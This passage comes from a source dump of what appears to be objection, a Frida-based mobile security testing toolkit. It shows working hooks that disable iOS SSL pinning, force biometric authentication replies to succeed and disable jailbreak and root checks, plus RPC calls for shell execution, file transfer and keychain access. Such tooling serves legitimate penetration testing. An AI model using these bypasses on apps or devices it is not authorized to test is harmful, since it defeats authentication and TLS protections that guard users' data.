SSL_VERIFY_NONE.`,\n    );\n    return 0;\n  }, \"int\", [\"pointer\", \"pointer\"]);\n\n  // tslint:disable-next-line:only-arrow-functions\n  Interceptor.replace(setCustomVerify, new NativeCallback(function (ssl, mode, callback) {\n    qsend(quiet,\n      c.blackBright(`[${ident}] `) + `Called ` +\n      c.green(`SSL_CTX_set_custom_verify()`) +\n      `, setting custom callback.`,\n    );\n    setCustomVerify(ssl, mode, customVerifyCallback);\n  }, \"void\", [\"pointer\", \"int\", \"pointer\"]));\n\n  // tslint:disable-next-line:only-arrow-functions\n  Interceptor.replace(getPskIdentity, new NativeCallback(function (ssl) {\n    qsend(quiet,\n      c.blackBright(`[${ident}] `) + `Called ` +\n      c.green(`SSL_get_psk_identity()`) +\n      `, returning \"fakePSKidentity\".`,\n    );\n    return Memory.allocUtf8String(\"fakePSKidentity\");\n  }, \"pointer\", [\"pointer\"]));\n\n  return [\n    setCustomVerify,\n    getPskIdentity,\n  ];\n};\n\n// exposed method to setup all of the interceptor invocations and replacements\nexport const disable = (q: boolean): void => {\n\n  if (q) {\n    send(`Quiet mode enabled. Not reporting invocations.`);\n    quiet = true;\n  }\n\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"ios-sslpinning-disable\");\n\n  // Framework hooks.\n  send(c.blackBright(`Hooking common framework methods`));\n\n  afNetworking(job.identifier).forEach((i) => {\n    job.addInvocation(i);\n  });\n  nsUrlSession(job.identifier).forEach((i) => {\n    job.addInvocation(i);\n  });\n  job.addInvocation(trustKit(job.identifier));\n  job.addInvocation(cordovaCustomURLConnectionDelegate(job.identifier));\n\n  // Low level hooks.\n\n  // iOS 9<\n  send(c.blackBright(`Hooking lower level SSL methods`));\n  job.addReplacement(sSLSetSessionOption(job.identifier));\n  job.addReplacement(sSLCreateContext(job.identifier));\n  job.addReplacement(sSLHandshake(job.identifier));\n\n  // iOS 10>\n  send(c.blackBright(`Hooking lower level TLS methods`));\n  job.addReplacement(tlsHelperCreatePeerTrust(job.identifier));\n  job.addInvocation(nwTlsCreatePeerTrust(job.identifier));\n\n  // iOS 11>\n  send(c.blackBright(`Hooking BoringSSL methods`));\n  // sSLCtxSetCustomVerify(job.identifier)\n  sSLCtxSetCustomVerify(job.identifier).forEach((i) => {\n    job.addReplacement(i);\n  });\n\n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/ios/plist.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { NSMutableDictionary } from \"./lib/types.js\";\n\n\nexport const read = (path: string): string => {\n  // -- Sample Objective-C\n  //\n  // NSMutableDictionary *result = [[NSMutableDictionary alloc] initWithContentsOfFile:path];\n\n  const dictionary: NSMutableDictionary = ObjC.classes.NSMutableDictionary;\n  return dictionary.alloc().initWithContentsOfFile_(path).toString();\n};\n\nexport const write = (path: string, data: any): void => {\n  // TODO\n};\n"
  },
  {
    "path": "agent/src/ios/userinterface.ts",
    "content": "// tslint:disable-next-line:no-var-requires\nimport { ObjC } from \"../ios/lib/libobjc.js\";\nimport type { default as ObjCTypes } from \"frida-objc-bridge\";\nimport screenshot from \"frida-screenshot\";\nimport { colors as c } from \"../lib/color.js\";\nimport * as jobs from \"../lib/jobs.js\";\n\n\nexport const take = (): any => {\n  // heavy lifting thanks to frida-screenshot!\n  // https://github.com/nowsecure/frida-screenshot\n  return screenshot(null);\n};\n\nexport const dump = (): string => {\n  return ObjC.classes.UIWindow.keyWindow().recursiveDescription().toString();\n};\n\nexport const alert = (message: string): void => {\n  const { UIAlertController, UIAlertAction, UIApplication } = ObjC.classes;\n\n  // Defining a Block that will be passed as handler parameter\n  // to +[UIAlertAction actionWithTitle:style:handler:]\n  const handler = new ObjC.Block({\n    argTypes: [\"object\"],\n    implementation: () => { return; },\n    retType: \"void\",\n  });\n\n  // Using Grand Central Dispatch to pass messages (invoke methods) in application's main thread\n  ObjC.schedule(ObjC.mainQueue, () => {\n\n    // Using integer numerals for preferredStyle which is of type enum UIAlertControllerStyle\n    const alertController: ObjCTypes.Object = UIAlertController.alertControllerWithTitle_message_preferredStyle_(\n      \"Alert\", message, 1);\n\n    // Again using integer numeral for style parameter that is enum\n    const okButton: ObjCTypes.Object = UIAlertAction.actionWithTitle_style_handler_(\"OK\", 0, handler);\n    alertController.addAction_(okButton);\n\n    // Instead of using `ObjC.choose()` and looking for UIViewController instances\n    // on the heap, we have direct access through UIApplication:\n    UIApplication.sharedApplication().keyWindow()\n      .rootViewController().presentViewController_animated_completion_(alertController, true, NULL);\n  });\n};\n\nexport const biometricsBypass = (): void => {\n  // -- Sample Objective-C\n  //\n  // LAContext *myContext = [[LAContext alloc] init];\n  // NSError *authError = nil;\n  // NSString *myLocalizedReasonString = @\"Please authenticate.\";\n\n  // if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthentication error:&authError]) {\n  //     [myContext evaluatePolicy:LAPolicyDeviceOwnerAuthentication\n  //               localizedReason:myLocalizedReasonString\n  //                         reply:^(BOOL success, NSError *error) {\n  //                             if (success) {\n\n  //                                 dispatch_async(dispatch_get_main_queue(), ^{\n  //                                     [self performSegueWithIdentifier:@\"LocalAuthSuccess\" sender:nil];\n  //                                 });\n\n  //                             } else {\n\n  //                                 dispatch_async(dispatch_get_main_queue(), ^{\n  //                                     UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@\"Error\"\n  //                                                                                         message:error.description\n  //                                                                                         delegate:self\n  //                                                                                cancelButtonTitle:@\"OK\"\n  //                                                                                otherButtonTitles:nil, nil];\n  //                                     [alertView show];\n  //                                     // Rather than show a UIAlert here, use the\n  //                                     // error to determine if you should push to a keypad for PIN entry.\n  //                                 });\n  //                             }\n  //                         }];\n\n  const policyJob: jobs.Job = new jobs.Job(jobs.identifier(), \"ios-biometrics-disable-evaluatePolicy\");\n\n  const lacontext1: InvocationListener = Interceptor.attach(\n    ObjC.classes.LAContext[\"- evaluatePolicy:localizedReason:reply:\"].implementation, {\n    onEnter(args) {\n\n      // localizedReason:\n      const reason = new ObjC.Object(args[3]);\n      send(\n        c.blackBright(`[${policyJob.identifier}] `) + `Localized Reason for auth requirement (evaluatePolicy): ` +\n        c.green(reason.toString()),\n      );\n\n      // get the original block that should run on success for reply:\n      // and save that block as a callback, to run once we change the reply\n      // from the OS to a true\n      const originalBlock = new ObjC.Block(args[4]);\n      const savedReplyBlock = originalBlock.implementation;\n\n      originalBlock.implementation = (success, error) => {\n        send(\n          c.blackBright(`[${policyJob.identifier}] `) + `OS authentication response: ` +\n          c.red(success),\n        );\n\n        if (!success === true) {\n          send(\n            c.blackBright(`[${policyJob.identifier}] `) +\n            c.greenBright(\"Marking OS response as True instead\"),\n          );\n\n          // Change the success response from the OS to true\n          success = true;\n          error = null;\n        }\n\n        // and run the original block\n        savedReplyBlock(success, error);\n\n        send(\n          c.blackBright(`[${policyJob.identifier}] `) +\n          c.green(\"Biometrics bypass hook complete (evaluatePolicy)\"),\n        );\n      };\n    },\n  });\n\n  // register the job\n  policyJob.addInvocation(lacontext1);\n  jobs.add(policyJob);\n\n  // -- Sample Swift\n  // https://gist.github.com/algrid/f3f03915f264f243b9d06e875ad198c8/raw/03998319903ad9d939f85bbcc94ce9c23042b82b/KeychainBio.swift\n\n  const accessControlJob: jobs.Job = new jobs.Job(jobs.identifier(), \"ios-biometrics-disable-evaluateAccessControl\");\n\n  const lacontext2: InvocationListener = Interceptor.attach(\n    ObjC.classes.LAContext[\"- evaluateAccessControl:operation:localizedReason:reply:\"].implementation, {\n    onEnter(args) {\n\n      // localizedReason:\n      const reason = new ObjC.Object(args[4]);\n      send(\n        c.blackBright(`[${accessControlJob.identifier}] `) + `Localized Reason for auth requirement (evaluateAccessControl): ` +\n        c.green(reason.toString()),\n      );\n\n      // get the original block that should run on success for reply:\n      // and save that block as a callback, to run once we change the reply\n      // from the OS to a true\n      const originalBlock = new ObjC.Block(args[5]);\n      const savedReplyBlock = originalBlock.implementation;\n\n      originalBlock.implementation = (success, error) => {\n        send(\n          c.blackBright(`[${accessControlJob.identifier}] `) + `OS authentication response: ` +\n          c.red(success),\n        );\n\n        if (!success === true) {\n          send(\n            c.blackBright(`[${accessControlJob.identifier}] `) +\n            c.greenBright(\"Marking OS response as True instead\"),\n          );\n\n          // Change the success response from the OS to true\n          success = true;\n          error = null;\n        }\n\n        // and run the original block\n        savedReplyBlock(success, error);\n\n        send(\n          c.blackBright(`[${accessControlJob.identifier}] `) +\n          c.green(\"Biometrics bypass hook complete (evaluateAccessControl)\"),\n        );\n      };\n    },\n  });\n\n  // register the job\n  accessControlJob.addInvocation(lacontext2);\n  jobs.add(accessControlJob);\n};\n"
  },
  {
    "path": "agent/src/lib/color.ts",
    "content": "export namespace colors {\n\n  const base: string = `\\x1B[%dm`;\n  const reset: string = `\\x1b[39m`;\n\n  // return an ansified string\n  export const ansify = (color: number, ...msg: string[]): string =>\n    base.replace(`%d`, color.toString()) + msg.join(``) + reset;\n\n  // tslint:disable-next-line:no-eval\n  export const clog = (color: number, ...msg: string[]): void => eval(\"console\").log(ansify(color, ...msg));\n  // tslint:disable-next-line:no-eval\n  export const log = (...msg: string[]): void => eval(\"console\").log(msg.join(``));\n\n  // log based on a quiet flag\n  export const qlog = (quiet: boolean, ...msg: string[]): void => {\n    if (quiet === false) {\n      log(...msg);\n    }\n  };\n\n  export const black = (message: string) => ansify(30, message);\n  export const blue = (message: string) => ansify(34, message);\n  export const cyan = (message: string) => ansify(36, message);\n  export const green = (message: string) => ansify(32, message);\n  export const magenta = (message: string) => ansify(35, message);\n  export const red = (message: string) => ansify(31, message);\n  export const white = (message: string) => ansify(37, message);\n  export const yellow = (message: string) => ansify(33, message);\n  export const blackBright = (message: string) => ansify(90, message);\n  export const redBright = (message: string) => ansify(91, message);\n  export const greenBright = (message: string) => ansify(92, message);\n  export const yellowBright = (message: string) => ansify(93, message);\n  export const blueBright = (message: string) => ansify(94, message);\n  export const cyanBright = (message: string) => ansify(96, message);\n  export const whiteBright = (message: string) => ansify(97, message);\n}\n"
  },
  {
    "path": "agent/src/lib/constants.ts",
    "content": "export enum DeviceType {\n  IOS = \"ios\",\n  ANDROID = \"android\",\n  UNKNOWN = \"unknown\",\n}\n"
  },
  {
    "path": "agent/src/lib/helpers.ts",
    "content": "import util from \"util\";\nimport { colors as c } from \"./color.js\";\n\n// sure, TS does not support this, but meh.\n// https://www.reddit.com/r/typescript/comments/87i59e/beginner_advice_strongly_typed_function_for/\nexport function reverseEnumLookup<T>(enumType: T, value: string): string {\n  for (const key in enumType) {\n\n    if (Object.hasOwnProperty.call(enumType, key) && enumType[key] as any === value) {\n      return key;\n    }\n  }\n\n  return \"\";\n}\n\n// converts a hexstring to a bytearray\nexport const hexStringToBytes = (str: string): Uint8Array => {\n  var a: number[] = [];\n  for (let i = 0, len = str.length; i < len; i += 2) {\n    a.push(parseInt(str.substring(i, i+2), 16));\n  }\n\n  return new Uint8Array(a);\n};\n\n// only send if quiet is not true\nexport const qsend = (quiet: boolean, message: any): void => {\n  if (quiet === false) {\n    send(message);\n  }\n};\n\n// send a preformated dict\nexport const fsend = (ident: number, hook: string, message: any): void => {\n  send(\n    c.blackBright(`[${ident}] `) +\n    c.magenta(`[${hook}]`) +\n    printArgs(message)\n  );\n};\n\n// a small helper method to use util to dump\nexport const debugDump = (o: any, depth: number = 2): void => {\n  c.log(c.blackBright(\"\\n[start debugDump]\"));\n  c.log(util.inspect(o, true, depth, true));\n  c.log(c.blackBright(\"[end debugDump]\\n\"));\n};\n\n// a small helper method to format JSON nicely before printing\nfunction printArgs(args: {[key: string]:object}): string {\n  let printableString: string = \" (\\n\";\n  for (const arg in args) {\n    printableString += `  ${c.blue(arg)} : ${args[arg]}\\n`;\n  }\n  printableString += \")\";\n  return printableString;\n}"
  },
  {
    "path": "agent/src/lib/interfaces.ts",
    "content": "export interface IFridaInfo {\n  arch: string;\n  debugger: boolean;\n  heap: number;\n  platform: string;\n  runtime: string;\n  version: string;\n}\n\nexport interface IIosPackage {\n  applicationName: string;\n  deviceName: string;\n  identifierForVendor: string;\n  model: string;\n  systemName: string;\n  systemVersion: string;\n}\n\nexport interface IAndroidPackage {\n  application_name: string;\n  board: string;\n  brand: string;\n  device: string;\n  host: string;\n  id: string;\n  model: string;\n  product: string;\n  user: string;\n  version: string;\n}\n\nexport interface IIosBundlePaths {\n  BundlePath: string;\n  CachesDirectory: string;\n  DocumentDirectory: string;\n  LibraryDirectory: string;\n}\n\n"
  },
  {
    "path": "agent/src/lib/jobs.ts",
    "content": "import { colors as c } from \"./color.js\";\n\nexport class Job {\n  identifier: number;\n  private invocations?: InvocationListener[] = [];\n  private replacements?: any[] = [];\n  private implementations?: any[] = [];\n  type: string;\n\n  constructor(identifier: number, type: string) {\n    this.identifier = identifier;\n    this.type = type;\n  }\n\n  addInvocation(invocation: any): void {\n    if (invocation === undefined) {\n      // c.log(c.redBright(`[warn] Undefined Invocation!`));\n      c.log(c.redBright(`[warn] Undefined invocation`));\n    }\n    if (invocation !== null)\n      this.invocations.push(invocation);\n    \n  }; \n  \n  addImplementation(implementation: any): void {\n    if (implementation !== undefined) {\n      // Functions not found, working as expected\n      if (implementation == null) return;\n      this.implementations.push(implementation);\n    } else {\n      c.log(c.redBright(`[warn] Undefined implementation:`));\n      c.log(c.blackBright(new Error().stack));\n    }\n  };\n  \n  addReplacement(replacement: any): void {\n    if (replacement !== undefined)\n      this.replacements.push(replacement);\n  };\n\n  killAll(): void {\n    // remove all invocations\n    if (this.invocations && this.invocations.length > 0) {\n      this.invocations.forEach((invocation) => {\n        (invocation) ? invocation.detach() :\n          c.log(c.blackBright(`[warn] Skipping detach on null`));\n      });\n    }\n\n    // revert any replacements\n    if (this.replacements && this.replacements.length > 0) {\n      this.replacements.forEach((replacement) => {\n        Interceptor.revert(replacement);\n      });\n    }\n\n    // remove implementation replacements\n    if (this.implementations && this.implementations.length > 0) {\n      this.implementations.forEach((method) => {\n        if (method.implementation == undefined) {\n          c.log(c.red(`[warn] ${this.type} job missing implementation value`));\n        }\n         \n        send(c.blackBright(`(`)+ c.blueBright(this.identifier.toString())+ c.blackBright(`) Removing hook ${method.holder} <function: ${method.methodName}>`))\n        \n        // TODO: May be racy if the method is currently used.\n        method.implementation = null;\n      });\n    }\n  }\n}\n\n\n// a record of all of the jobs in the current process\nlet currentJobs: Job[] = [];\n\nexport const identifier = (): number => Number(Math.random().toString(36).substring(2, 8));\nexport const all = (): Job[] => currentJobs;\n\nexport const add = (jobData: Job): void => {\n  send(`Registering job ` + c.blueBright(`${jobData.identifier}`) +\n    `. Name: ` + c.greenBright(`${jobData.type}`));\n  currentJobs.push(jobData);\n};\n\n// determine of a job already exists based on an identifier\nexport const hasIdent = (ident: number): boolean => {\n\n  const m: Job[] = currentJobs.filter((job) => {\n    if (job.identifier === ident) {\n      return true;\n    }\n  });\n\n  return m.length > 0;\n};\n\n// determine if a job already exists based on a type\nexport const hasType = (type: string): boolean => {\n\n  const m: Job[] = currentJobs.filter((job) => {\n    if (job.type === type) {\n      return true;\n    }\n  });\n\n  return m.length > 0;\n};\n\n// kills a job by detaching any invocations and removing\n// the job by identifier\nexport const kill = (ident: number): boolean => {\n  currentJobs.forEach((job) => {\n\n    if (job.identifier !== ident) return;\n\n    send(`Killing job ` + c.blueBright(`${job.identifier}`) +\n    `. Name: ` + c.greenBright(`${job.type}`));\n\n    // remove any hooks\n    job.killAll();\n    \n    // remove the job from the current jobs\n    currentJobs = currentJobs.filter((j) => {\n      return j.identifier !== job.identifier;\n    });\n\n  });\n\n  return true;\n};\n"
  },
  {
    "path": "agent/src/rpc/android.ts",
    "content": "import type { default as JavaTypes } from \"frida-java-bridge\";\nimport * as clipboard from \"../android/clipboard.js\";\nimport * as androidfilesystem from \"../android/filesystem.js\";\nimport * as heap from \"../android/heap.js\";\nimport * as hooking from \"../android/hooking.js\";\nimport * as intent from \"../android/intent.js\";\nimport * as keystore from \"../android/keystore.js\";\nimport * as sslpinning from \"../android/pinning.js\";\nimport * as root from \"../android/root.js\";\nimport * as androidshell from \"../android/shell.js\";\nimport * as userinterface from \"../android/userinterface.js\";\nimport * as proxy from \"../android/proxy.js\";\nimport * as general from \"../android/general.js\";\n\nimport {\n  IHeapObject,\n  IJavaField,\n  IKeyStoreDetail\n} from \"../android/lib/interfaces.js\";\nimport {\n  ICurrentActivityFragment,\n  IExecutedCommand,\n  IKeyStoreEntry\n} from \"../android/lib/interfaces.js\";\nimport { JavaMethodsOverloadsResult } from \"../android/lib/types.js\";\n\nexport const android = {\n  // android clipboard\n  androidMonitorClipboard: () => clipboard.monitor(),\n\n  // android general\n  androidDeoptimize: () => general.deoptimize(),\n\n  // android command execution\n  androidShellExec: (cmd: string): Promise<IExecutedCommand> => androidshell.execute(cmd),\n\n  // android filesystem\n  androidFileCwd: () => androidfilesystem.pwd(),\n  androidFileDelete: (path: string) => androidfilesystem.deleteFile(path),\n  androidFileDownload: (path: string) => androidfilesystem.readFile(path),\n  androidFileExists: (path: string) => androidfilesystem.exists(path),\n  androidFileLs: (path: string) => androidfilesystem.ls(path),\n  androidFilePathIsFile: (path: string) => androidfilesystem.pathIsFile(path),\n  androidFileReadable: (path: string) => androidfilesystem.readable(path),\n  androidFileUpload: (path: string, data: string) => androidfilesystem.writeFile(path, data),\n  androidFileWritable: (path: string) => androidfilesystem.writable(path),\n\n  // android hooking\n  androidHookingGetClassMethods: (className: string): Promise<string[]> => hooking.getClassMethods(className),\n  androidHookingGetClassMethodsOverloads: (className: string, methodAllowList: string[] = [], loader?: string): Promise<JavaMethodsOverloadsResult> => hooking.getClassMethodsOverloads(className, methodAllowList, loader),\n  androidHookingGetClasses: (): Promise<string[]> => hooking.getClasses(),\n  androidHookingGetClassLoaders: (): Promise<string[]> => hooking.getClassLoaders(),\n  androidHookingGetCurrentActivity: (): Promise<ICurrentActivityFragment> => hooking.getCurrentActivity(),\n  androidHookingListActivities: (): Promise<string[]> => hooking.getActivities(),\n  androidHookingListBroadcastReceivers: (): Promise<string[]> => hooking.getBroadcastReceivers(),\n  androidHookingListServices: (): Promise<string[]> => hooking.getServices(),\n  androidHookingSetMethodReturn: (fqClazz: string, filterOverload: string | null, ret: boolean) =>\n    hooking.setReturnValue(fqClazz, filterOverload, ret),\n  androidHookingWatch: (pattern: string, watchArgs: boolean, watchBacktrace: boolean, watchRet: boolean): Promise<void> =>\n    hooking.watch(pattern, watchArgs, watchBacktrace, watchRet),\n  androidHookingEnumerate: (query: string): Promise<JavaTypes.EnumerateMethodsMatchGroup[]> => hooking.javaEnumerate(query),\n  androidHookingLazyWatchForPattern: (query: string, watch: boolean, dargs: boolean, dret: boolean, dbt: boolean): void => hooking.lazyWatchForPattern(query, watch, dargs, dret, dbt),\n\n  // android heap methods\n  androidHeapEvaluateHandleMethod: (handle: number, js: string): Promise<void> => heap.evaluate(handle, js),\n  androidHeapExecuteHandleMethod: (handle: number, method: string, returnString: boolean): Promise<string | null> =>\n    heap.execute(handle, method, returnString),\n  androidHeapGetLiveClassInstances: (clazz: string): Promise<IHeapObject[]> => heap.getInstances(clazz),\n  androidHeapPrintFields: (handle: number): Promise<IJavaField[]> => heap.fields(handle),\n  androidHeapPrintMethods: (handle: number): Promise<string[]> => heap.methods(handle),\n\n  // android intents\n  androidIntentStartActivity: (activityClass: string): Promise<void> => intent.startActivity(activityClass),\n  androidIntentStartService: (serviceClass: string): Promise<void> => intent.startService(serviceClass),\n  androidIntentAnalyze: (backtrace: boolean = false): Promise<void> => intent.analyzeImplicits(backtrace),\n\n  // android keystore\n  androidKeystoreClear: () => keystore.clear(),\n  androidKeystoreList: (): Promise<IKeyStoreEntry[]> => keystore.list(),\n  androidKeystoreDetail: (): Promise<IKeyStoreDetail[]> => keystore.detail(),\n  androidKeystoreWatch: (): Promise<void> => keystore.watchKeystore(),\n\n  // android ssl pinning\n  androidSslPinningDisable: (quiet: boolean) => sslpinning.disable(quiet),\n\n  // android proxy set/unset\n  androidProxySet: (host: string, port: string): Promise<void> => proxy.set(host, port),\n\n  // android root detection\n  androidRootDetectionDisable: () => root.disable(),\n  androidRootDetectionEnable: () => root.enable(),\n\n  // android user interface\n  androidUiScreenshot: () => userinterface.screenshot(),\n  androidUiSetFlagSecure: (v: boolean): Promise<void> => userinterface.setFlagSecure(v),\n};\n"
  },
  {
    "path": "agent/src/rpc/environment.ts",
    "content": "import * as environment from \"../generic/environment.js\";\n\nexport const env = {\n  // environment\n  envAndroid: () => environment.androidPackage(),\n  envAndroidPaths: () => environment.androidPaths(),\n  envFrida: () => environment.frida(),\n  envIos: () => environment.iosPackage(),\n  envIosPaths: () => environment.iosPaths(),\n  envRuntime: () => environment.runtime(),\n};\n"
  },
  {
    "path": "agent/src/rpc/ios.ts",
    "content": "import * as binary from \"../ios/binary.js\";\nimport * as binarycookies from \"../ios/binarycookies.js\";\nimport * as bundles from \"../ios/bundles.js\";\nimport * as credentialstorage from \"../ios/credentialstorage.js\";\nimport * as iosfilesystem from \"../ios/filesystem.js\";\nimport * as heap from \"../ios/heap.js\";\nimport * as hooking from \"../ios/hooking.js\";\nimport * as ioscrypto from \"../ios/crypto.js\";\nimport * as iosjailbreak from \"../ios/jailbreak.js\";\nimport * as ioskeychain from \"../ios/keychain.js\";\nimport * as nsuserdefaults from \"../ios/nsuserdefaults.js\";\nimport * as pasteboard from \"../ios/pasteboard.js\";\nimport * as sslpinning from \"../ios/pinning.js\";\nimport * as plist from \"../ios/plist.js\";\nimport * as userinterface from \"../ios/userinterface.js\";\n\nimport { BundleType } from \"../ios/lib/constants.js\";\nimport { NSUserDefaults } from \"../ios/lib/types.js\";\nimport {\n  IBinaryModuleDictionary,\n  ICredential,\n  IFramework,\n  IHeapObject,\n  IIosCookie,\n  IIosFileSystem,\n  IKeychainItem,\n} from \"../ios/lib/interfaces.js\";\n\n\nexport const ios = {\n  // binary\n  iosBinaryInfo: (): IBinaryModuleDictionary => binary.info(),\n\n  // ios binary cookies\n  iosCookiesGet: (): IIosCookie[] => binarycookies.get(),\n\n  // ios nsurlcredentialstorage\n  iosCredentialStorage: (): ICredential[] => credentialstorage.dump(),\n\n  // ios filesystem\n  iosFileCwd: (): string => iosfilesystem.pwd(),\n  iosFileDelete: (path: string): boolean => iosfilesystem.deleteFile(path),\n  iosFileDownload: (path: string): string | Buffer => iosfilesystem.readFile(path),\n  iosFileExists: (path: string): boolean => iosfilesystem.exists(path),\n  iosFileLs: (path: string): IIosFileSystem => iosfilesystem.ls(path),\n  iosFilePathIsFile: (path: string): boolean => iosfilesystem.pathIsFile(path),\n  iosFileReadable: (path: string): boolean => iosfilesystem.readable(path),\n  iosFileUpload: (path: string, data: string): void => iosfilesystem.writeFile(path, data),\n  iosFileWritable: (path: string): boolean => iosfilesystem.writable(path),\n\n  // ios heap\n  iosHeapEvaluateJs: (pointer: string, js: string): void => heap.evaluate(pointer, js),\n  iosHeapExecMethod: (pointer: string, method: string, returnString: boolean): void =>\n    heap.callInstanceMethod(pointer, method, returnString),\n  iosHeapPrintIvars: (pointer: string, toUTF8: boolean): [string, any[string]] => heap.getIvars(pointer, toUTF8),\n  iosHeapPrintLiveInstances: (clazz: string): IHeapObject[] => heap.getInstances(clazz),\n  iosHeapPrintMethods: (pointer: string): [string, any[string]] => heap.getMethods(pointer),\n\n  // ios hooking\n  iosHookingGetClassMethods: (className: string, includeParents: boolean): string[] =>\n    hooking.getClassMethods(className, includeParents),\n  iosHookingGetClasses: () => hooking.getClasses(),\n  iosHookingSetReturnValue: (selector: string, returnVal: boolean): void =>\n    hooking.setMethodReturn(selector, returnVal),\n  iosHookingWatch: (pattern: string, dargs: boolean, dbt: boolean, dret: boolean, dparents: boolean) =>\n    hooking.watch(pattern, dargs, dbt, dret, dparents),\n  iosHookingSearch: (pattern: string): ApiResolverMatch[] =>\n    hooking.search(pattern),\n\n  // ios crypto monitoring\n  iosMonitorCryptoEnable: (): void => ioscrypto.monitor(),\n\n  // jailbreak detection\n  iosJailbreakDisable: (): void => iosjailbreak.disable(),\n  iosJailbreakEnable: (): void => iosjailbreak.enable(),\n\n  // plist files\n  iosPlistRead: (path: string): string => plist.read(path),\n\n  // ios user interface\n  iosUiAlert: (message: string): void => userinterface.alert(message),\n  iosUiBiometricsBypass: (): void => userinterface.biometricsBypass(),\n  iosUiScreenshot: (): any => userinterface.take(),\n  iosUiWindowDump: (): string => userinterface.dump(),\n\n  // ios ssl pinning\n  iosPinningDisable: (quiet: boolean): void => sslpinning.disable(quiet),\n\n  // ios pasteboard\n  iosMonitorPasteboard: (): void => pasteboard.monitor(),\n\n  // ios frameworks & bundles\n  iosBundlesGetBundles: (): IFramework[] => bundles.getBundles(BundleType.NSBundleAllBundles),\n  iosBundlesGetFrameworks: (): IFramework[] => bundles.getBundles(BundleType.NSBundleFramework),\n\n  // ios keychain\n  iosKeychainAdd: (account: string, service: string, data: string): boolean =>\n    ioskeychain.add(account, service, data),\n  iosKeychainRemove: (account: string, service: string): void => ioskeychain.remove(account, service),\n  iosKeychainUpdate: (account: string, service: string, newData: string): void =>\n    ioskeychain.update(account, service, newData),\n  iosKeychainEmpty: (): void => ioskeychain.empty(),\n  iosKeychainList: (smartDecode: boolean = false): IKeychainItem[] => ioskeychain.list(smartDecode),\n  iosKeychainListRaw: (): void => ioskeychain.listRaw(),\n\n  // ios nsuserdefaults\n  iosNsuserDefaultsGet: (): NSUserDefaults | any => nsuserdefaults.get(),\n};\n"
  },
  {
    "path": "agent/src/rpc/jobs.ts",
    "content": "import * as j from \"../lib/jobs.js\";\n\nexport const jobs = {\n  // jobs\n  jobsGet: () => j.all(),\n  jobsKill: (ident: number) => j.kill(ident),\n};\n"
  },
  {
    "path": "agent/src/rpc/memory.ts",
    "content": "import * as m from \"../generic/memory.js\";\n\nexport const memory = {\n\n  memoryDump: (address: string, size: number) => m.dump(address, size),\n  memoryListExports: (name: string): ModuleExportDetails[] => m.listExports(name),\n  memoryListModules: (): Module[] => m.listModules(),\n  memoryListRanges: (protection: string): RangeDetails[] => m.listRanges(protection),\n  memorySearch: (pattern: string, onlyOffsets: boolean): string[] => m.search(pattern, onlyOffsets),\n  memoryReplace: (pattern: string, replace: number[]): string[] => m.replace(pattern, replace),\n  memoryWrite: (address: string, value: number[]): void => m.write(address, value),\n\n};\n"
  },
  {
    "path": "agent/src/rpc/other.ts",
    "content": "import * as custom from \"../generic/custom.js\";\nimport * as http from \"../generic/http.js\";\n\nexport const other = {\n  evaluate: (js: string): void => custom.evaluate(js),\n\n  // http server\n  httpServerStart: (p: string, port: number): void => http.start(p, port),\n  httpServerStatus: (): void => http.status(),\n  httpServerStop: (): void => http.stop(),\n};\n"
  },
  {
    "path": "agent/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"es2020\",\n    \"lib\": [\"es2020\"],\n    \"allowJs\": true,\n    \"noEmit\": true,\n    \"strict\": true,\n    \"module\": \"Node16\",\n    \"esModuleInterop\": true,\n    \"noImplicitAny\": false,\n    \"strictNullChecks\": false\n  }\n}\n"
  },
  {
    "path": "agent/tslint.json",
    "content": "{\n    \"defaultSeverity\": \"warning\",\n    \"extends\": [\n        \"tslint:recommended\"\n    ],\n    \"jsRules\": {},\n    \"rules\": {\n        \"no-namespace\": false\n    },\n    \"rulesDirectory\": [],\n    \"alwaysShowStatus\": true\n}"
  },
  {
    "path": "objection/__init__.py",
    "content": "import sys\nfrom importlib import metadata\nfrom pathlib import Path\n\nimport tomllib\n\n\ndef _load_version() -> str:\n    \"\"\"\n        Prefer the installed package metadata and fall back to pyproject.toml\n        when running from a checkout.\n    \"\"\"\n\n    try:\n        return metadata.version(\"objection\")\n    except metadata.PackageNotFoundError:\n        pyproject_path = Path(__file__).resolve().parent.parent / \"pyproject.toml\"\n        try:\n            with pyproject_path.open(\"rb\") as f:\n                return tomllib.load(f)[\"project\"][\"version\"]\n        except Exception:\n            return \"0.0.0\"\n\n\n__version__ = _load_version()\n\n# helper containing a python 3 related warning\n# if this is run with python 2\nif sys.version_info < (3,):\n    raise ImportError(\n        '''\n    You are running objection {0} on Python 2\n\n    Unfortunately objection {0} and above are not compatible with Python 2.\n    That's a bummer; sorry about that.  Make sure you have Python 3, pip >= and\n    setuptools >= 24.2 to avoid these kinds of issues in the future:\n\n     $ pip install pip setuptools --upgrade\n\n    You could also setup a virtual Python 3 environment.\n\n     $ pip install pip setuptools --upgrade\n     $ pip install virtualenv\n     $ virtualenv --python=python3 ~/virt-python3\n     $ source ~/virt-python3/bin/activate\n\n    This will make an isolated Python 3 installation available and active, ready\n    to install and use objection.\n    '''.format(__version__))\n"
  },
  {
    "path": "objection/api/__init__.py",
    "content": ""
  },
  {
    "path": "objection/api/app.py",
    "content": "from flask import Flask\n\nfrom . import rpc\nfrom . import script\n\n\ndef create_app() -> Flask:\n    \"\"\"\n        Creates a new Flask instance for the objection API\n\n        :return:\n    \"\"\"\n\n    app = Flask(__name__)\n    app.register_blueprint(rpc.bp)\n    app.register_blueprint(script.bp)\n\n    return app\n"
  },
  {
    "path": "objection/api/rpc.py",
